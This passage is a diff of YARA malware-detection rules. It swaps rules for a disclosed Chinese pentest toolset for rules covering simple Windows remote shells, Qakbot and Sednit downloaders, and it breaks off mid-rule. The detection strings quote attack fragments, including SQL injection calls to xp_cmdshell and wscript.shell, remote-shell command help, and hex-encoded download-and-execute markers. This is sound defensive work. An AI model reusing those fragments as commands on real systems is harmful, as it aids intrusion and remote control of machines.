-		$s20 = "SOFTWARE\\Classes\\Interface\\" ascii
+		$sa01 = "INVOICE.exePK" ascii
+		$sa02 = "PAYMENT.exePK" ascii
+		$sa03 = "REQUEST.exePK" ascii
+		$sa04 = "ORDER.exePK" ascii
+		$sa05 = "invoice.exePK" ascii
+		$sa06 = "payment.exePK" ascii
+		$sa07 = "_request.exePK" ascii
+		$sa08 = "_order.exePK" ascii
+		$sa09 = "-request.exePK" ascii
+		$sa10 = "-order.exePK" ascii
+		$sa11 = " request.exePK" ascii
+		$sa12 = " order.exePK" ascii
+		$sa14 = ".doc.exePK" ascii
+		$sa15 = ".docx.exePK" ascii
+		$sa16 = ".xls.exePK" ascii
+		$sa17 = ".xlsx.exePK" ascii
+		$sa18 = ".pdf.exePK" ascii
+		$sa19 = ".ppt.exePK" ascii
+		$sa20 = ".pptx.exePK" ascii
+		$sa21 = ".rtf.exePK" ascii
+		$sa22 = ".txt.exePK" ascii
+		$sb01 = "SU5WT0lDRS5leGVQS"
+		$sb02 = "lOVk9JQ0UuZXhlUE"
+		$sb03 = "JTlZPSUNFLmV4ZVBL"
+		$sb04 = "UEFZTUVOVC5leGVQS"
+		$sb05 = "BBWU1FTlQuZXhlUE"
+		$sb06 = "QQVlNRU5ULmV4ZVBL"
+		$sb07 = "UkVRVUVTVC5leGVQS"
+		$sb08 = "JFUVVFU1QuZXhlUE"
+		$sb09 = "SRVFVRVNULmV4ZVBL"
+		$sb10 = "T1JERVIuZXhlUE"
+		$sb11 = "9SREVSLmV4ZVBL"
+		$sb12 = "PUkRFUi5leGVQS"
+		$sb13 = "aW52b2ljZS5leGVQS"
+		$sb14 = "ludm9pY2UuZXhlUE"
+		$sb15 = "pbnZvaWNlLmV4ZVBL"
+		$sb16 = "cGF5bWVudC5leGVQS"
+		$sb17 = "BheW1lbnQuZXhlUE"
+		$sb18 = "wYXltZW50LmV4ZVBL"
+		$sb19 = "X3JlcXVlc3QuZXhlUE"
+		$sb20 = "9yZXF1ZXN0LmV4ZVBL"
+		$sb21 = "fcmVxdWVzdC5leGVQS"
+		$sb22 = "X29yZGVyLmV4ZVBL"
+		$sb23 = "9vcmRlci5leGVQS"
+		$sb24 = "fb3JkZXIuZXhlUE"
+		$sb25 = "LXJlcXVlc3QuZXhlUE"
+		$sb26 = "1yZXF1ZXN0LmV4ZVBL"
+		$sb27 = "tcmVxdWVzdC5leGVQS"
+		$sb28 = "LW9yZGVyLmV4ZVBL"
+		$sb29 = "1vcmRlci5leGVQS"
+		$sb30 = "tb3JkZXIuZXhlUE"
+		$sb31 = "IHJlcXVlc3QuZXhlUE"
+		$sb32 = "ByZXF1ZXN0LmV4ZVBL"
+		$sb33 = "gcmVxdWVzdC5leGVQS"
+		$sb34 = "IG9yZGVyLmV4ZVBL"
+		$sb35 = "BvcmRlci5leGVQS"
+		$sb36 = "gb3JkZXIuZXhlUE"
+		$sb37 = "LmRvYy5leGVQS"
+		$sb38 = "5kb2MuZXhlUE"
+		$sb39 = "uZG9jLmV4ZVBL"
+		$sb40 = "LmRvY3guZXhlUE"
+		$sb41 = "5kb2N4LmV4ZVBL"
+		$sb42 = "uZG9jeC5leGVQS"
+		$sb43 = "Lnhscy5leGVQS"
+		$sb44 = "54bHMuZXhlUE"
+		$sb45 = "ueGxzLmV4ZVBL"
+		$sb46 = "Lnhsc3guZXhlUE"
+		$sb47 = "54bHN4LmV4ZVBL"
+		$sb48 = "ueGxzeC5leGVQS"
+		$sb49 = "LnBkZi5leGVQS"
+		$sb50 = "5wZGYuZXhlUE"
+		$sb51 = "ucGRmLmV4ZVBL"
+		$sb52 = "LnBwdC5leGVQS"
+		$sb53 = "5wcHQuZXhlUE"
+		$sb54 = "ucHB0LmV4ZVBL"
+		$sb55 = "LnBwdHguZXhlUE"
+		$sb56 = "5wcHR4LmV4ZVBL"
+		$sb57 = "ucHB0eC5leGVQS"
+		$sb58 = "LnJ0Zi5leGVQS"
+		$sb59 = "5ydGYuZXhlUE"
+		$sb60 = "ucnRmLmV4ZVBL"
+		$sb61 = "LnR4dC5leGVQS"
+		$sb62 = "50eHQuZXhlUE"
+		$sb63 = "udHh0LmV4ZVBL"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		uint16(0)==0x4b50 and 1 of ($sa*) or 1 of ($sb*)
 }
-rule SIGNATURE_BASE_CN_Honker_NBSI_3_0 : FILE
+rule SIGNATURE_BASE_Windowsshell_S3 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file NBSI 3.0.exe"
+		description = "Detects simple Windows shell - file s3.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "be8d0dce-4f7f-5f18-9ed0-99fc1dc2b22f"
-		date = "2015-06-23"
+		id = "064754a7-8639-5dbd-93f3-906662b8e9bc"
+		date = "2016-03-26"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1664-L1681"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "93bf0f64bec926e9aa2caf4c28df9af27ec0e104"
-		logic_hash = "017b5f76a3168089f3186134e7a4c0352158bb866228776240f0d014834e6ee0"
-		score = 70
-		quality = 60
+		reference = "https://github.com/odzhan/shells/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_winshells.yar#L10-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		logic_hash = "b9274f909b50247a4f5111a14806faadba7814e26805bef7d61eaaf8be4b46ed"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide
-		$s2 = "http://localhost/1.asp?id=16" fullword ascii
-		$s3 = " exec master.dbo.xp_cmdshell @Z--" fullword wide
-		$s4 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
+		$s3 = "get <remote> <local> - download file" fullword ascii
+		$s4 = "[ simple remote shell for windows v3" fullword ascii
+		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s6 = "put <local> <remote> - upload file" fullword ascii
+		$s7 = "term                 - terminate remote client" fullword ascii
+		$s8 = "[ downloading \"%s\" to \"%s\"" fullword ascii
+		$s9 = "-l           Listen for incoming connections" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2600KB and 2 of them
+		( uint16(0)==0x5a4d and filesize <150KB and 2 of them ) or (5 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_Dubrute_V3_0_RC3_2_0 : FILE
+rule SIGNATURE_BASE_Windosshell_S1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file 2.0.exe"
+		description = "Detects simple Windows shell - file s1.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dda5eea9-da79-5f1f-bbac-9f05ba7e71c9"
-		date = "2015-06-23"
+		id = "b4e783a2-4a93-5c72-9b09-4692b383ac00"
+		date = "2016-03-26"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1683-L1699"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e8ee982421ccff96121ffd24a3d84e3079f3750f"
-		logic_hash = "8c9be7e8cc04eba6b131acc3c85ac48d7663260a2e4064ad55ed8f40e0875cf4"
-		score = 70
+		reference = "https://github.com/odzhan/shells/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_winshells.yar#L33-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
+		logic_hash = "29fcddc549c615ca5cdda60272926671bc1446c3c7b51c9a2fd867b6b68858b2"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
-		$s3 = "Create %d IP@Loginl;Password" fullword ascii
-		$s15 = "UBrute.com" fullword ascii
+		$s1 = "[ executing cmd.exe" fullword ascii
+		$s2 = "[ simple remote shell for windows v1" fullword ascii
+		$s3 = "-p <number>  Port number to use (default is 443)" fullword ascii
+		$s4 = "usage: s1 <address> [options]" fullword ascii
+		$s5 = "[ waiting for connections on %s" fullword ascii
+		$s6 = "-l           Listen for incoming connections" fullword ascii
+		$s7 = "[ connection from %s" fullword ascii
+		$s8 = "[ %c%c requires parameter" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <980KB and 2 of them
+		( uint16(0)==0x5a4d and filesize <150KB and 2 of them ) or (5 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Hkmjjiis6 : FILE
+rule SIGNATURE_BASE_Windowsshell_S4 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file hkmjjiis6.exe"
+		description = "Detects simple Windows shell - file s4.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "badf8224-4f09-57aa-ab16-0d70e0b3f88c"
-		date = "2015-06-23"
-		modified = "2023-01-27"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1701-L1718"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
-		logic_hash = "a087b9731444152b717e0fbae557004d94f3fb69a4ec65aa38b7a3dab3e3cddf"
-		score = 70
+		id = "838771dc-f885-5332-9813-2bc01af8e5fe"
+		date = "2016-03-26"
+		modified = "2023-12-05"
+		reference = "https://github.com/odzhan/shells/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_winshells.yar#L55-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+		logic_hash = "fff280debdd32a736e37a73800f226bf6def5dd107abd1d9237d92904622c9ec"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s14 = "* FROM IIsWebInfo/r" fullword ascii
-		$s19 = "ltithread4ck/" ascii
-		$s20 = "LookupAcc=Sid#" fullword ascii
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
+		$s3 = "get <remote> <local> - download file" fullword ascii
+		$s4 = "[ simple remote shell for windows v4" fullword ascii
+		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s6 = "[ downloading \"%s\" to \"%s\"" fullword ascii
+		$s7 = "[ uploading \"%s\" to \"%s\"" fullword ascii
+		$s8 = "-l           Listen for incoming connections" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <175KB and all of them
+		( uint16(0)==0x5a4d and filesize <175KB and 2 of them ) or (5 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Clearlogs : FILE
+rule SIGNATURE_BASE_Windowsshell_Gen : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file clearlogs.exe"
+		description = "Detects simple Windows shell - from files keygen.exe, s1.exe, s2.exe, s3.exe, s4.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bfbc339e-5530-5984-94de-be1002f09ca1"
-		date = "2015-06-23"
-		modified = "2023-01-27"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1720-L1736"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "490f3bc318f415685d7e32176088001679b0da1b"
-		logic_hash = "ed961d2850ba86743177976a4516e7d4a8b90b7e8f180c03f5dbbcc794ad1084"
-		score = 70
+		id = "6b871e8a-8fe3-5cc6-9f2c-ba2359861ea1"
+		date = "2016-03-26"
+		modified = "2023-12-05"
+		reference = "https://github.com/odzhan/shells/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_winshells.yar#L79-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "753dd12f649bcbfcc2c60a2f3be27df5297a671a0ee1856093eed04113616581"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "a7c3d85eabac01e7a7ec914477ea9f17e3020b3b2f8584a46a98eb6a2a7611c5"
+		hash2 = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
+		hash3 = "df0693caae2e5914e63e9ee1a14c1e9506f13060faed67db5797c9e61f3907f0"
+		hash4 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		hash5 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
 
 	strings:
-		$s2 = "- http://ntsecurity.nu/toolbox/clearlogs/" ascii
-		$s4 = "Error: Unable to clear log - " fullword ascii
+		$s0 = "[ %c%c requires parameter" fullword ascii
+		$s1 = "[ %s : %i" fullword ascii
+		$s2 = "[ %s : %s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <140KB and all of them
+		( uint16(0)==0x5a4d and filesize <175KB and 2 of them ) or ( all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_No_Net_Priv_Esc_Adduser : FILE
+rule SIGNATURE_BASE_Windowsshell_Gen2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file AddUser.dll"
+		description = "Detects simple Windows shell - from files s3.exe, s4.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0f99914c-9349-5870-a3e0-3a5079efdecf"
-		date = "2015-06-23"
+		id = "8ed8443d-491b-5cb0-b12b-0d25267ba462"
+		date = "2016-03-26"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1738-L1754"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4c95046be6ae40aee69a433e9a47f824598db2d4"
-		logic_hash = "743e67e2aa95830034db1afda1f346c30467c7b59e030ed27415e5127013be74"
-		score = 70
+		reference = "https://github.com/odzhan/shells/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_winshells.yar#L101-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c5ce27554b2ee25b974b567ef5a9ae877906250073da477f0ab5d71d162ac81a"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
+		hash2 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
 
 	strings:
-		$s0 = "PECompact2" fullword ascii
-		$s1 = "adduser" fullword ascii
-		$s5 = "OagaBoxA" fullword ascii
+		$s1 = "cmd                  - execute cmd.exe" fullword ascii
+		$s2 = "get <remote> <local> - download file" fullword ascii
+		$s3 = "REMOTE: CreateFile(\"%s\")" fullword ascii
+		$s4 = "put <local> <remote> - upload file" fullword ascii
+		$s5 = "term                 - terminate remote client" fullword ascii
+		$s6 = "[ uploading \"%s\" to \"%s\"" fullword ascii
+		$s7 = "[ error : received %i bytes" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <115KB and all of them
+		( uint16(0)==0x5a4d and filesize <175KB and 2 of them ) or (5 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Injection : FILE
+rule SIGNATURE_BASE_MAL_Qakbot_Configextraction_Feb23 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Injection.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8600c86f-0da1-5ddb-bae5-69358cf53e7c"
-		date = "2015-06-23"
+		description = "QakBot Config Extraction"
+		author = "kevoreilly"
+		id = "401184cf-bbd7-5afe-9589-470f54721af1"
+		date = "2023-02-17"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1756-L1771"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
-		logic_hash = "8de3e59bd118fbbf1a012c6bfb358dba7c8fb758e3ac17277f2ad3a92c0284ba"
-		score = 70
+		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_qbot_feb23.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad75b07b9b786f634fd46cbe6dc089d3f732673320e70714e8ab058f0392c9f5"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		cape_options = "bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config"
+		packed = "f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68"
 
 	strings:
-		$s0 = "http://127.0.0.1/6kbbs/bank.asp" fullword ascii
-		$s7 = "jmPost.asp" fullword wide
+		$params = {8B 7D ?? 8B F1 57 89 55 ?? E8 [4] 8D 9E [2] 00 00 89 03 59 85 C0 75 08 6A FC 58 E9}
+		$c2list1 = {59 59 8D 4D D8 89 45 E0 E8 [4] 8B 45 E0 85 C0 74 ?? 8B 90 [2] 00 00 51 8B 88 [2] 00 00 6A 00 E8}
+		$c2list2 = {59 59 8B F8 8D 4D ?? 89 7D ?? E8 [4] 85 FF 74 52 8B 97 [2] 00 00 51 8B 8F [2] 00 00 53 E8}
+		$conf = {5F 5E 5B C9 C3 51 6A 00 E8 [4] 59 59 85 C0 75 01 C3}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <220KB and all of them
+		uint16(0)==0x5A4D and any of them
 }
-rule SIGNATURE_BASE_CN_Honker_Sqlserver_Inject_Creaked : FILE
+rule SIGNATURE_BASE_MAL_Qakbotloader_Export_Section_Feb23 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file SQLServer_inject_Creaked.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9a8a77c2-9e06-5694-8055-4480ab932520"
-		date = "2015-06-23"
+		description = "QakBot Export Selection"
+		author = "kevoreilly"
+		id = "cb86e9fb-a8d2-5285-aeda-622704399f8e"
+		date = "2023-02-17"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1773-L1788"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "af3c41756ec8768483a4cf59b2e639994426e2c2"
-		logic_hash = "2a7e913a4b7bb6c1270d862108eae7ed3998114b672ca7fa19bd0b199fc27dc2"
-		score = 70
+		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_qbot_feb23.yar#L22-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6f99171c95a8ed5d056eeb9234dbbee123a6f95f481ad0e0a966abd2844f0e1a"
+		logic_hash = "0e40cd6acdbfb17670b414bd6f2ecdf1ae26ddd6a5d85931973b98963a43aba8"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		cape_options = "export=$export"
 
 	strings:
-		$s1 = "http://localhost/index.asp?id=2" fullword ascii
-		$s2 = "Email:zhaoxypass@yahoo.com.cn<br>" fullword ascii
+		$export = {55 8B EC 83 EC 50 (3A|66 3B) ?? 74}
+		$wind = {(66 3B|3A) ?? 74 [1-14] BB 69 04 00 00 53 E8 [5-7] 74}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8110KB and all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webscan_Webscan : FILE
+rule SIGNATURE_BASE_MAL_Qakbotantivm_Antivm_Bypass_Feb23
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file WebScan.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1545494b-9a74-5b2e-921c-e54dd5ac4b51"
-		date = "2015-06-23"
+		description = "QakBot AntiVM bypass"
+		author = "kevoreilly"
+		id = "7446522a-788a-512d-ad68-2fcc56169f5a"
+		date = "2023-02-17"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1790-L1805"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a0b0e2422e0e9edb1aed6abb5d2e3d156b7c8204"
-		logic_hash = "a714fe90dce33180b8074e2c3a16fc1829ed2a7b387eb92aec8a147cff9e57a4"
-		score = 70
+		reference = "https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_qbot_feb23.yar#L40-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e269497ce458b21c8427b3f6f6594a25d583490930af2d3395cb013b20d08ff7"
+		logic_hash = "20f1cd28f38945a3aa328e77e78525fb1ffc47ecf54d5a40c2f18264c3973989"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		cape_options = "bp0=$antivm1,action0=unwind,count=1"
 
 	strings:
-		$s1 = "wwwscan.exe" fullword wide
-		$s2 = "WWWScan Gui" fullword wide
+		$antivm1 = {55 8B EC 3A E4 0F [2] 00 00 00 6A 04 58 3A E4 0F [2] 00 00 00 C7 44 01 [5] 81 44 01 [5] 66 3B FF 74 ?? 6A 04 58 66 3B ED 0F [2] 00 00 00 C7 44 01 [5] 81 6C 01 [5] EB}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Gethashes_2 : FILE
+rule SIGNATURE_BASE_MAL_Sednit_Delphidownloader_Apr18_2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
+		description = "Detects malware from Sednit Delphi Downloader report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "31117d2e-caf1-58c9-8525-b40b73097928"
-		date = "2015-06-23"
+		id = "6ccd2f21-de44-52fb-912e-d3ecbe57e389"
+		date = "2018-04-24"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1807-L1823"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "35ae9ccba8d607d8c19a065cf553070c54b091d8"
-		logic_hash = "778fde2c59d4523142c0ac5b5c953c9eedbbf3c00b406541c00c1aa1f1a9cc58"
-		score = 70
+		reference = "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sednit_delphidownloader.yar#L11-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "32acbec3405007afce22b0521785439686338d4d3beb02a1d7b9005e49d87221"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda"
+		hash2 = "657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4"
+		hash3 = "5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182"
+		hash4 = "0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f"
+		hash5 = "72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3"
 
 	strings:
-		$s1 = "GetHashes.exe <SAM registry file> [System key file]" fullword ascii
-		$s2 = "GetHashes.exe $Local" fullword ascii
-		$s3 = "The system key doesn't match SAM registry file!" fullword ascii
+		$s1 = "2D444F574E4C4F41445F53544152542D" ascii
+		$s2 = "55504C4F41445F414E445F455845435554455F46494C45" ascii
+		$s3 = "4D6F7A696C6C612076352E31202857696E646F7773204E5420362E313B2072763A362E302E3129204765636B6F2F32303130303130312046697265666F782F36" ascii
+		$s4 = "41646F62654461696C79557064617465" ascii
+		$s5 = "53595354454D494E464F2026205441534B4C495354" ascii
+		$s6 = "6373727376632E657865" ascii
+		$s7 = "536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E" ascii
+		$s8 = "5C536F6674776172655C4D6963726F736F66745C57696E646F7773204E545C43757272656E7456657273696F6E" ascii
+		$s9 = "5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E" ascii
+		$s0 = "2D444F574E4C4F41445F53544152542D" ascii
+		$fp1 = "<key name=\"profiles\">"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 2 of them
+		filesize <4000KB and 1 of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_SUSP_Patcher_Keygen_Indicators_Jun15 : FILE
+rule SIGNATURE_BASE_MAL_Sednit_Delphidownloader_Apr18_3 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset"
+		description = "Detects malware from Sednit Delphi Downloader report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4dd65e4b-8178-5576-9740-b3c80a8127e2"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1825-L1841"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e32f5de730e324fb386f97b6da9ba500cf3a4f8d"
-		logic_hash = "07735c380cf34aaabd5cc0e1b38e32b3d4ad86b7bb184188d446df537f66775e"
-		score = 70
+		id = "2200fbdc-3600-51d4-a273-dc7fd4127c05"
+		date = "2018-04-24"
+		modified = "2023-01-06"
+		reference = "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sednit_delphidownloader.yar#L40-L62"
